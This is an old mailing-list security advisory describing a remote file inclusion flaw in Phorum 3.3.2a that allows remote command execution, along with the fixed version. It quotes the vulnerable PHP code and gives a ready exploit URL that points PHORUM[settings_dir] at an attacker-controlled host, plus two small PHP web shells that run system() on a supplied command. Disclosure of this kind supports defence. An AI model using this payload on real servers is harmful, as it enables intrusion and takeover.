[UNIX] Phorum Remote Command Execution Vulnerability (PHORUM[settings_dir])

From: support@securiteam.com
Date: 05/18/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Sat, 18 May 2002 23:03:43 +0200 (CEST)

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  Phorum Remote Command Execution Vulnerability (PHORUM[settings_dir])
------------------------------------------------------------------------

SUMMARY

 <http://www.phorum.org/> Phorum is an OpenSource web based discussion
software application written in PHP. A security flaw in the product lets
remote users include external php scripts and execute arbitrary code and
commands.

DETAILS

Vulnerable systems:
 * Phorum version 3.3.2a and prior

Immune systems:
 * Phorum version 3.3.2b3

The following file is vulnerable for remote script inclusion:
/plugin/replace/plugin.php

(Note that it seems that the admin.php file is also vulnerable to the same
vulnerability)

Let's see some code:
<?php
include("$PHORUM[settings_dir]/replace.php");

function mod_replace_read_body ($body) {
  global $pluginreplace;
  reset($pluginreplace);
  while(list($key,$val) = each($pluginreplace)) {
    $body = str_replace($key,$val,$body);
  }
  return $body;
}

$plugins["read_body"]["mod_replace"]="mod_replace_read_body";

?>

Exploit:
This is easy to exploit:
http://[target]/phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=http://[evilhost]&cmd=ls

This one will get the file http://[evilhost]/replace.php and execute it.
If [evilhost] has php enabled we could use this one as replace.php:
<?
echo("<?
system(\"\$cmd\");
?>");
?>

If it's not php-enabled simply:
<?
system("$cmd");
?>

ADDITIONAL INFORMATION

The information has been provided by <mailto:markus-arndt@web.de> Markus
Arnd.

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